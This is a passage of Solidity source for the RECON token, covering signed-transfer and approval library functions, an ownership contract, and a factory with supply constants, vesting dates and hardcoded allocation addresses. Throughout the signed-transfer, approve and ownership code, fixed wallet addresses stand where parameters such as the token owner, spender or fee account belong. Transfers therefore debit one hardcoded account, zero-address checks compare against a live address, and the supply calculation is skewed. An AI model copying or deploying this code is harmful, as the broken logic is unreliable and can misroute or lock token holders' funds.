(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] < tokens) return ReconTokenInterface.CheckResult.InsufficientTokens; if (self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] < total) return ReconTokenInterface.CheckResult.InsufficientTokensForFees; if (self.balances[to] + tokens < self.balances[to]) return ReconTokenInterface.CheckResult.OverflowError; if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return ReconTokenInterface.CheckResult.OverflowError; return ReconTokenInterface.CheckResult.Success; } function signedTransfer(Data storage self, address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) { require(self.transferable); bytes32 hash = signedTransferHash(self, tokenOwner, to, tokens, fee, nonce); require(tokenOwner != address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) && tokenOwner == ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)); require(!self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]); require(self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] == nonce); self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = nonce + 1; self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeSub(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], tokens); self.balances[to] = safeAdd(self.balances[to], tokens); emit Transfer(tokenOwner, to, tokens); self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeSub(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], fee); self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b] = safeAdd(self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b], fee); emit Transfer(tokenOwner, feeAccount, fee); return true; } function signedApproveHash(Data storage /*self*/, address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { hash = keccak256(abi.encodePacked(signedApproveSig, address(this), tokenOwner, spender, tokens, fee, nonce)); } function signedApproveCheck(Data storage self, address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) { if (!self.transferable) return ReconTokenInterface.CheckResult.NotTransferable; bytes32 hash = signedApproveHash(self, tokenOwner, spender, tokens, fee, nonce); if (tokenOwner == address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) || tokenOwner != ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)) return ReconTokenInterface.CheckResult.SignerMismatch; if (self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]) return ReconTokenInterface.CheckResult.AccountLocked; if (self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] != nonce) return ReconTokenInterface.CheckResult.InvalidNonce; if (self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] < fee) return ReconTokenInterface.CheckResult.InsufficientTokensForFees; if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return ReconTokenInterface.CheckResult.OverflowError; return ReconTokenInterface.CheckResult.Success; } function signedApprove(Data storage self, address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) { require(self.transferable); bytes32 hash = signedApproveHash(self, tokenOwner, spender, tokens, fee, nonce); require(tokenOwner != address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) && tokenOwner == ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)); require(!self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]); require(self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] == nonce); self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = nonce + 1; self.allowed[0x0A5f85C3d41892C934ae82BDbF17027A20717088][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = tokens; emit Approval(0x0A5f85C3d41892C934ae82BDbF17027A20717088, spender, tokens); self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeSub(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], fee); self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b] = safeAdd(self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b], fee); emit Transfer(tokenOwner, feeAccount, fee); return true; } function signedTransferFromHash(Data storage /*self*/, address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { hash = keccak256(abi.encodePacked(signedTransferFromSig, address(this), spender, from, to, tokens, fee, nonce)); } function signedTransferFromCheck(Data storage self, address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) { if (!self.transferable) return ReconTokenInterface.CheckResult.NotTransferable; bytes32 hash = signedTransferFromHash(self, spender, from, to, tokens, fee, nonce); if (spender == address(0xF848332f5D902EFD874099458Bc8A53C8b7881B1) || spender != ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)) return ReconTokenInterface.CheckResult.SignerMismatch; if (self.accountLocked[from]) return ReconTokenInterface.CheckResult.AccountLocked; if (self.nextNonce[spender] != nonce) return ReconTokenInterface.CheckResult.InvalidNonce; uint total = safeAdd(tokens, fee); if (self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] < tokens) return ReconTokenInterface.CheckResult.InsufficientApprovedTokens; if (self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] < total) return ReconTokenInterface.CheckResult.InsufficientApprovedTokensForFees; if (self.balances[from] < tokens) return ReconTokenInterface.CheckResult.InsufficientTokens; if (self.balances[from] < total) return ReconTokenInterface.CheckResult.InsufficientTokensForFees; if (self.balances[to] + tokens < self.balances[to]) return ReconTokenInterface.CheckResult.OverflowError; if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return ReconTokenInterface.CheckResult.OverflowError; return ReconTokenInterface.CheckResult.Success; } function signedTransferFrom(Data storage self, address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) { require(self.transferable); bytes32 hash = signedTransferFromHash(self, spender, from, to, tokens, fee, nonce); require(spender != address(0xF848332f5D902EFD874099458Bc8A53C8b7881B1) && spender == ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)); require(!self.accountLocked[from]); require(self.nextNonce[0xF848332f5D902EFD874099458Bc8A53C8b7881B1] == nonce); self.nextNonce[0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = nonce + 1; self.balances[from] = safeSub(self.balances[from], tokens); self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = safeSub(self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1], tokens); self.balances[to] = safeAdd(self.balances[to], tokens); emit Transfer(from, to, tokens); self.balances[from] = safeSub(self.balances[from], fee); self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1] = safeSub(self.allowed[from][0xF848332f5D902EFD874099458Bc8A53C8b7881B1], fee); self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b] = safeAdd(self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b], fee); emit Transfer(from, feeAccount, fee); return true; } function signedApproveAndCallHash(Data storage /*self*/, address tokenOwner, address spender, uint tokens, bytes32 data, uint fee, uint nonce) public view returns (bytes32 hash) { hash = keccak256(abi.encodePacked(signedApproveAndCallSig, address(this), tokenOwner, spender, tokens, data, fee, nonce)); } function signedApproveAndCallCheck(Data storage self, address tokenOwner, address spender, uint tokens, bytes32 data, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) { if (!self.transferable) return ReconTokenInterface.CheckResult.NotTransferable; bytes32 hash = signedApproveAndCallHash(self, tokenOwner, spender, tokens, data, fee, nonce); if (tokenOwner == address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) || tokenOwner != ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)) return ReconTokenInterface.CheckResult.SignerMismatch; if (self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]) return ReconTokenInterface.CheckResult.AccountLocked; if (self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] != nonce) return ReconTokenInterface.CheckResult.InvalidNonce; if (self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] < fee) return ReconTokenInterface.CheckResult.InsufficientTokensForFees; if (self.balances[feeAccount] + fee < self.balances[feeAccount]) return ReconTokenInterface.CheckResult.OverflowError; return ReconTokenInterface.CheckResult.Success; } function signedApproveAndCall(Data storage self, address tokenOwner, address spender, uint tokens, bytes32 data, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) { require(self.transferable); bytes32 hash = signedApproveAndCallHash(self, tokenOwner, spender, tokens, data, fee, nonce); require(tokenOwner != address(0x0A5f85C3d41892C934ae82BDbF17027A20717088) && tokenOwner == ecrecoverFromSig(keccak256(abi.encodePacked(signingPrefix, hash)), sig)); require(!self.accountLocked[0x0A5f85C3d41892C934ae82BDbF17027A20717088]); require(self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] == nonce); self.nextNonce[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = nonce + 1; self.allowed[0x0A5f85C3d41892C934ae82BDbF17027A20717088][spender] = tokens; emit Approval(tokenOwner, spender, tokens); self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088] = safeSub(self.balances[0x0A5f85C3d41892C934ae82BDbF17027A20717088], fee); self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b] = safeAdd(self.balances[0xc083E68D962c2E062D2735B54804Bb5E1f367c1b], fee); emit Transfer(tokenOwner, feeAccount, fee); ApproveAndCallFallBack(spender).receiveApproval(tokenOwner, tokens, address(this), data); return true; } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; contract ReconToken is ReconTokenInterface{ using ReconLib for ReconLib.Data; ReconLib.Data data; function constructorReconToken(address owner, string symbol, string name, uint8 decimals, uint initialSupply, bool mintable, bool transferable) public { data.init(owner, symbol, name, decimals, initialSupply, mintable, transferable); } function owner() public view returns (address) { return data.owner; } function newOwner() public view returns (address) { return data.newOwner; } function transferOwnership(address _newOwner) public { data.transferOwnership(_newOwner); } function acceptOwnership() public { data.acceptOwnership(); } function transferOwnershipImmediately(address _newOwner) public { data.transferOwnershipImmediately(_newOwner); } function symbol() public view returns (string) { return data.symbol; } function name() public view returns (string) { return data.name; } function decimals() public view returns (uint8) { return data.decimals; } function minter() public view returns (address) { return data.minter; } function setMinter(address _minter) public { data.setMinter(_minter); } function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success) { return data.mint(tokenOwner, tokens, lockAccount); } function accountLocked(address tokenOwner) public view returns (bool) { return data.accountLocked[tokenOwner]; } function unlockAccount(address tokenOwner) public { data.unlockAccount(tokenOwner); } function mintable() public view returns (bool) { return data.mintable; } function transferable() public view returns (bool) { return data.transferable; } function disableMinting() public { data.disableMinting(); } function enableTransfers() public { data.enableTransfers(); } function nextNonce(address spender) public view returns (uint) { return data.nextNonce[spender]; } // ------------------------------------------------------------------------ // Other functions // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) { return data.transferAnyERC20Token(tokenAddress, tokens); } function () public payable { revert(); } function totalSupply() public view returns (uint) { return data.totalSupply - data.balances[address(0x0A5f85C3d41892C934ae82BDbF17027A20717088)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return data.balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return data.allowed[tokenOwner][spender]; } function transfer(address to, uint tokens) public returns (bool success) { return data.transfer(to, tokens); } function approve(address spender, uint tokens) public returns (bool success) { return data.approve(spender, tokens); } function transferFrom(address from, address to, uint tokens) public returns (bool success) { return data.transferFrom(from, to, tokens); } function approveAndCall(address spender, uint tokens, bytes32 _data) public returns (bool success) { return data.approveAndCall(spender, tokens, _data); } function signedTransferHash(address tokenOwner, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { return data.signedTransferHash(tokenOwner, to, tokens, fee, nonce); } function signedTransferCheck(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) { return data.signedTransferCheck(tokenOwner, to, tokens, fee, nonce, sig, feeAccount); } function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) { return data.signedTransfer(tokenOwner, to, tokens, fee, nonce, sig, feeAccount); } function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { return data.signedApproveHash(tokenOwner, spender, tokens, fee, nonce); } function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) { return data.signedApproveCheck(tokenOwner, spender, tokens, fee, nonce, sig, feeAccount); } function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) { return data.signedApprove(tokenOwner, spender, tokens, fee, nonce, sig, feeAccount); } function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash) { return data.signedTransferFromHash(spender, from, to, tokens, fee, nonce); } function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) { return data.signedTransferFromCheck(spender, from, to, tokens, fee, nonce, sig, feeAccount); } function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) { return data.signedTransferFrom(spender, from, to, tokens, fee, nonce, sig, feeAccount); } function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce) public view returns (bytes32 hash) { return data.signedApproveAndCallHash(tokenOwner, spender, tokens, _data, fee, nonce); } function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce, bytes32 sig, address feeAccount) public view returns (ReconTokenInterface.CheckResult result) { return data.signedApproveAndCallCheck(tokenOwner, spender, tokens, _data, fee, nonce, sig, feeAccount); } function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes32 _data, uint fee, uint nonce, bytes32 sig, address feeAccount) public returns (bool success) { return data.signedApproveAndCall(tokenOwner, spender, tokens, _data, fee, nonce, sig, feeAccount); } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Owned1() public { owner = msg.sender; } constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(newOwner != address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060)); emit OwnershipTransferred(owner, newOwner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060); } function transferOwnershipImmediately(address _newOwner) public onlyOwner { emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; newOwner = address(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060); } } // ----------------------------------------------------------------------------------------------------------------- // // (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018. // // ----------------------------------------------------------------------------------------------------------------- pragma solidity ^ 0.4.25; contract ReconTokenFactory is ERC20Interface, Owned { using SafeMath for uint; string public constant name = "RECON"; string public constant symbol = "RECON"; uint8 public constant decimals = 18; uint constant public ReconToMicro = uint(1000000000000000000); // This constants reflects RECON token distribution uint constant public investorSupply = 25000000000 * ReconToMicro; uint constant public adviserSupply = 25000000 * ReconToMicro; uint constant public bountySupply = 25000000 * ReconToMicro; uint constant public _totalSupply = 100000000000 * ReconToMicro; uint constant public preICOSupply = 5000000000 * ReconToMicro; uint constant public presaleSupply = 5000000000 * ReconToMicro; uint constant public crowdsaleSupply = 10000000000 * ReconToMicro; uint constant public preICOprivate = 99000000 * ReconToMicro; uint constant public Reconowner = 101000000 * ReconToMicro; uint constant public ReconnewOwner = 100000000 * ReconToMicro; uint constant public Reconminter = 50000000 * ReconToMicro; uint constant public ReconfeeAccount = 50000000 * ReconToMicro; uint constant public Reconspender = 50000000 * ReconToMicro; uint constant public ReconrecoveredAddress = 50000000 * ReconToMicro; uint constant public ProprityfromReconBank = 200000000 * ReconToMicro; uint constant public ReconManager = 200000000 * ReconToMicro; uint constant public ReconCashinB2B = 5000000000 * ReconToMicro; uint constant public ReconSwitchC2C = 5000000000 * ReconToMicro; uint constant public ReconCashoutB2C = 5000000000 * ReconToMicro; uint constant public ReconInvestment = 2000000000 * ReconToMicro; uint constant public ReconMomentum = 2000000000 * ReconToMicro; uint constant public ReconReward = 2000000000 * ReconToMicro; uint constant public ReconDonate = 1000000000 * ReconToMicro; uint constant public ReconTokens = 4000000000 * ReconToMicro; uint constant public ReconCash = 4000000000 * ReconToMicro; uint constant public ReconGold = 4000000000 * ReconToMicro; uint constant public ReconCard = 4000000000 * ReconToMicro; uint constant public ReconHardriveWallet = 2000000000 * ReconToMicro; uint constant public RecoinOption = 1000000000 * ReconToMicro; uint constant public ReconPromo = 100000000 * ReconToMicro; uint constant public Reconpatents = 1000000000 * ReconToMicro; uint constant public ReconSecurityandLegalFees = 1000000000 * ReconToMicro; uint constant public PeerToPeerNetworkingService = 1000000000 * ReconToMicro; uint constant public Reconia = 2000000000 * ReconToMicro; uint constant public ReconVaultXtraStock = 7000000000 * ReconToMicro; uint constant public ReconVaultSecurityStock = 5000000000 * ReconToMicro; uint constant public ReconVaultAdvancePaymentStock = 5000000000 * ReconToMicro; uint constant public ReconVaultPrivatStock = 4000000000 * ReconToMicro; uint constant public ReconVaultCurrencyInsurancestock = 4000000000 * ReconToMicro; uint constant public ReconVaultNextStock = 4000000000 * ReconToMicro; uint constant public ReconVaultFuturStock = 4000000000 * ReconToMicro; // This variables accumulate amount of sold RECON during // presale, crowdsale, or given to investors as bonus. uint public presaleSold = 0; uint public crowdsaleSold = 0; uint public investorGiven = 0; // Amount of ETH received during ICO uint public ethSold = 0; uint constant public softcapUSD = 20000000000; uint constant public preicoUSD = 5000000000; // Presale lower bound in dollars. uint constant public crowdsaleMinUSD = ReconToMicro * 10 * 100 / 12; uint constant public bonusLevel0 = ReconToMicro * 10000 * 100 / 12; // 10000$ uint constant public bonusLevel100 = ReconToMicro * 100000 * 100 / 12; // 100000$ // The tokens made available to the public will be in 13 steps // for a maximum of 20% of the total supply (see doc for checkTransfer). // All dates are stored as timestamps. uint constant public unlockDate1 = 1541890800; // 11-11-2018 00:00:00 [1%] Recon Manager uint constant public unlockDate2 = 1545346800; // 21-12-2018 00:00:00 [2%] Recon Cash-in (B2B) uint constant public unlockDate3 = 1549062000; // 02-02-2019 00:00:00 [2%] Recon Switch (C2C) uint constant public unlockDate4 = 1554328800; // 04-04-2019 00:00:00 [2%] Recon Cash-out (B2C) uint constant public unlockDate5 = 1565215200; // 08-08-2019 00:00:00 [2%] Recon Investment & Recon Momentum uint constant public unlockDate6 = 1570658400; // 10-10-2019 00:00:00 [2%] Recon Reward uint constant public unlockDate7 = 1576105200; // 12-12-2019 00:00:00 [1%] Recon Donate uint constant public unlockDate8 = 1580598000; // 02-02-2020 00:00:00 [1%] Recon Token uint constant public unlockDate9 = 1585951200; // 04-04-2020 00:00:00 [2%] Recon Cash uint constant public unlockDate10 = 1591394400; // 06-06-2020 00:00:00 [1%] Recon Gold uint constant public unlockDate11 = 1596837600; // 08-08-2020 00:00:00 [2%] Recon Card uint constant public unlockDate12 = 1602280800; // 10-10-2020 00:00:00 [1%] Recon Hardrive Wallet uint constant public unlockDate13 = 1606863600; // 02-12-2020 00:00:00 [1%] Recoin Option // The tokens made available to the teams will be made in 4 steps // for a maximum of 80% of the total supply (see doc for checkTransfer). uint constant public teamUnlock1 = 1544569200; // 12-12-2018 00:00:00 [25%] uint constant public teamUnlock2 = 1576105200; // 12-12-2019 00:00:00 [25%] uint constant public teamUnlock3 = 1594072800; // 07-07-2020 00:00:00 [25%] uint constant public teamUnlock4 = 1608505200; // 21-12-2020 00:00:00 [25%] uint constant public teamETHUnlock1 = 1544569200; // 12-12-2018 00:00:00 uint constant public teamETHUnlock2 = 1576105200; // 12-12-2019 00:00:00 uint constant public teamETHUnlock3 = 1594072800; // 07-07-2020 00:00:00 //https://casperproject.atlassian.net/wiki/spaces/PROD/pages/277839878/Smart+contract+ICO // Presale 10.06.2018 - 22.07.2018 // Crowd-sale 23.07.2018 - 2.08.2018 (16.08.2018) uint constant public presaleStartTime = 1541890800; // 11-11-2018 00:00:00 uint constant public crowdsaleStartTime = 1545346800; // 21-12-2018 00:00:00 uint public crowdsaleEndTime = 1609455599; // 31-12-2020 23:59:59 uint constant public crowdsaleHardEndTime = 1609455599; // 31-12-2020 23:59:59 //address constant ReconrWallet = 0x0A5f85C3d41892C934ae82BDbF17027A20717088; constructor() public { admin = owner; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } modifier onlyAdmin { require(msg.sender == admin); _; } modifier onlyOwnerAndDirector { require(msg.sender == owner || msg.sender == director); _; } address admin; function setAdmin(address _newAdmin) public onlyOwnerAndDirector { admin = _newAdmin; } address director; function setDirector(address _newDirector) public onlyOwner { director = _newDirector; } bool assignedPreico = false; // @notice assignPreicoTokens transfers 3x tokens to pre-ICO participants (99,000,000) function assignPreicoTokens() public onlyOwnerAndDirector { require(!assignedPreico); assignedPreico = true; _freezeTransfer(0x4Bdff2Cc40996C71a1F16b72490d1a8E7Dfb7E56, 3 * 1000000000000000000000000); // Account_34 _freezeTransfer(0x9189AC4FA7AdBC587fF76DD43248520F8Cb897f3, 3 * 1000000000000000000000000); // Account_35 _freezeTransfer(0xc1D3DAd07A0dB42a7d34453C7d09eFeA793784e7, 3 * 1000000000000000000000000); // Account_36 _freezeTransfer(0xA0BC1BAAa5318E39BfB66F8Cd0496d6b09CaE6C1, 3 * 1000000000000000000000000); // Account_37 _freezeTransfer(0x9a2912F145Ab0d5b4aE6917A8b8ddd222539F424, 3 * 1000000000000000000000000); // Account_38 _freezeTransfer(0x0bB0ded1d868F1c0a50bD31c1ab5ab7b53c6BC20, 3 * 1000000000000000000000000); // Account_39 _freezeTransfer(0x65ec9f30249065A1BD23a9c68c0Ee9Ead63b4A4d, 3 * 1000000000000000000000000); // Account_40 _freezeTransfer(0x87Bdc03582deEeB84E00d3fcFd083B64DA77F471, 3 * 1000000000000000000000000); // Account_41 _freezeTransfer(0x81382A0998191E2Dd8a7bB2B8875D4Ff6CAA31ff, 3 * 1000000000000000000000000); // Account_42 _freezeTransfer(0x790069C894ebf518fB213F35b48C8ec5AAF81E62, 3 * 1000000000000000000000000); // Account_43 _freezeTransfer(0xa3f1404851E8156DFb425eC0EB3D3d5ADF6c8Fc0, 3 * 1000000000000000000000000); // Account_44 _freezeTransfer(0x11bA01dc4d93234D24681e1B19839D4560D17165, 3 * 1000000000000000000000000); // Account_45 _freezeTransfer(0x211D495291534009B8D3fa491400aB66F1d6131b, 3 * 1000000000000000000000000); // Account_46 _freezeTransfer(0x8c481AaF9a735F9a44Ac2ACFCFc3dE2e9B2f88f8, 3 * 1000000000000000000000000); // Account_47 _freezeTransfer(0xd0BEF2Fb95193f429f0075e442938F5d829a33c8, 3 * 1000000000000000000000000); // Account_48 _freezeTransfer(0x424cbEb619974ee79CaeBf6E9081347e64766705, 3 * 1000000000000000000000000); // Account_49 _freezeTransfer(0x9e395cd98089F6589b90643Dde4a304cAe4dA61C, 3 * 1000000000000000000000000); // Account_50 _freezeTransfer(0x3cDE6Df0906157107491ED17C79fF9218A50D7Dc, 3 * 1000000000000000000000000); // Account_51 _freezeTransfer(0x419a98D46a368A1704278349803683abB2A9D78E, 3 * 1000000000000000000000000); // Account_52 _freezeTransfer(0x106Db742344FBB96B46989417C151B781D1a4069, 3 * 1000000000000000000000000); // Account_53 _freezeTransfer(0xE16b9E9De165DbecA18B657414136cF007458aF5, 3 * 1000000000000000000000000); // Account_54 _freezeTransfer(0xee32C325A3E11759b290df213E83a257ff249936, 3 * 1000000000000000000000000); // Account_55 _freezeTransfer(0x7d6F916b0E5BF7Ba7f11E60ed9c30fB71C4A5fE0, 3 * 1000000000000000000000000); // Account_56 _freezeTransfer(0xCC684085585419100AE5010770557d5ad3F3CE58, 3 * 1000000000000000000000000); // Account_57 _freezeTransfer(0xB47BE6d74C5bC66b53230D07fA62Fb888594418d, 3 * 1000000000000000000000000); // Account_58 _freezeTransfer(0xf891555a1BF2525f6EBaC9b922b6118ca4215fdD, 3 * 1000000000000000000000000); // Account_59 _freezeTransfer(0xE3124478A5ed8550eA85733a4543Dd128461b668, 3 * 1000000000000000000000000); // Account_60 _freezeTransfer(0xc5836df630225112493fa04fa32B586f072d6298, 3 * 1000000000000000000000000); // Account_61 _freezeTransfer(0x144a0543C93ce8Fb26c13EB619D7E934FA3eA734, 3 * 1000000000000000000000000); // Account_62 _freezeTransfer(0x43731e24108E928984DcC63DE7affdF3a805FFb0, 3 * 1000000000000000000000000); // Account_63 _freezeTransfer(0x49f7744Aa8B706Faf336a3ff4De37078714065BC, 3 * 1000000000000000000000000); // Account_64 _freezeTransfer(0x1E55C7E97F0b5c162FC9C42Ced92C8e55053e093, 3 * 1000000000000000000000000); // Account_65 _freezeTransfer(0x40b234009664590997D2F6Fde2f279fE56e8AaBC, 3 * 1000000000000000000000000); // Account_66 } bool assignedTeam = false; // @notice assignTeamTokens assigns tokens to team members (79,901,000,000) // @notice tokens for team have their own supply function assignTeamTokens() public onlyOwnerAndDirector { require(!assignedTeam); assignedTeam = true; _teamTransfer(0x0A5f85C3d41892C934ae82BDbF17027A20717088, 101000000 * ReconToMicro); // Recon owner _teamTransfer(0x0f65e64662281D6D42eE6dEcb87CDB98fEAf6060, 100000000 * ReconToMicro); // Recon newOwner _teamTransfer(0x3Da2585FEbE344e52650d9174e7B1bf35C70D840, 50000000 * ReconToMicro); // Recon minter _teamTransfer(0xc083E68D962c2E062D2735B54804Bb5E1f367c1b, 50000000 * ReconToMicro); // Recon feeAccount _teamTransfer(0xF848332f5D902EFD874099458Bc8A53C8b7881B1, 50000000 * ReconToMicro); // Recon spender _teamTransfer(0x5f2D6766C6F3A7250CfD99d6b01380C432293F0c, 50000000 * ReconToMicro); // Recon recoveredAddress _teamTransfer(0x5f2D6766C6F3A7250CfD99d6b01380C432293F0c, 200000000 * ReconToMicro); // Proprity from ReconBank _teamTransfer(0xD974C2D74f0F352467ae2Da87fCc64491117e7ac, 200000000 * ReconToMicro); // Recon Manager _teamTransfer(0x5c4F791D0E0A2E75Ee34D62c16FB6D09328555fF, 5000000000 * ReconToMicro); // Recon Cash-in (B2B) _teamTransfer(0xeB479640A6D55374aF36896eCe6db7d92F390015, 5000000000 * ReconToMicro); // Recon Switch (C2C) _teamTransfer(0x77167D25Db87dc072399df433e450B00b8Ec105A, 7000000000 * ReconToMicro); // Recon Cash-out (B2C) _teamTransfer(0x5C6Fd84b961Cce03e027B0f8aE23c4A6e1195E90, 2000000000 * ReconToMicro); // Recon Investment _teamTransfer(0x86F427c5e05C29Fd4124746f6111c1a712C9B5c8, 2000000000 * ReconToMicro); // Recon Momentum _teamTransfer(0x1Ecb8dC0932AF3A3ba87e8bFE7eac3Cbe433B78B, 2000000000 * ReconToMicro); // Recon Reward _teamTransfer(0x7C31BeCa0290C35c8452b95eA462C988c4003Bb0, 1000000000 * ReconToMicro); // Recon Donate _teamTransfer(0x3a5326f9C9b3ff99e2e5011Aabec7b48B2e6A6A2, 4000000000 * ReconToMicro); // Recon Token _teamTransfer(0x5a27B07003ce50A80dbBc5512eA5BBd654790673, 4000000000 * ReconToMicro); // Recon Cash _teamTransfer(0xD580cF1002d0B4eF7d65dC9aC6a008230cE22692, 4000000000 * ReconToMicro); // Recon Gold _teamTransfer(0x9C83562Bf58083ab408E596A4bA4951a2b5724C9, 4000000000 * ReconToMicro); // Recon Card _teamTransfer(0x70E06c2Dd9568ECBae760CE2B61aC221C0c497F5, 2000000000 * ReconToMicro); // Recon Hardrive Wallet _teamTransfer(0x14bd2Aa04619658F517521adba7E5A17dfD2A3f0, 1000000000 * ReconToMicro); // Recoin Option _teamTransfer(0x9C3091a335383566d08cba374157Bdff5b8B034B, 100000000 * ReconToMicro); // Recon Promo _teamTransfer(0x3b6F53122903c40ef61441dB807f09D90D6F05c7, 1000000000 * ReconToMicro); // Recon patents _teamTransfer(0x7fb5EF151446Adb0B7D39B1902E45f06E11038F6, 1000000000 * ReconToMicro); // Recon Security & Legal Fees _teamTransfer(0x47BD87fa63Ce818584F050aFFECca0f1dfFd0564, 1000000000 * ReconToMicro); // ​Peer To Peer Networking Service _teamTransfer(0x83b3CD589Bd78aE65d7b338fF7DFc835cD9a8edD, 2000000000 * ReconToMicro); // Reconia _teamTransfer(0x6299496342fFd22B7191616fcD19CeC6537C2E8D, 8000000000 * ReconToMicro); // ​Recon Central Securities Depository (Recon Vault XtraStock) _teamTransfer(0x26aF11607Fad4FacF1fc44271aFA63Dbf2C22a87, 4000000000 * ReconToMicro); // Recon Central Securities Depository (Recon Vault SecurityStock) _teamTransfer(0x7E21203C5B4A6f98E4986f850dc37eBE9Ca19179, 4000000000 * ReconToMicro); // Recon Central 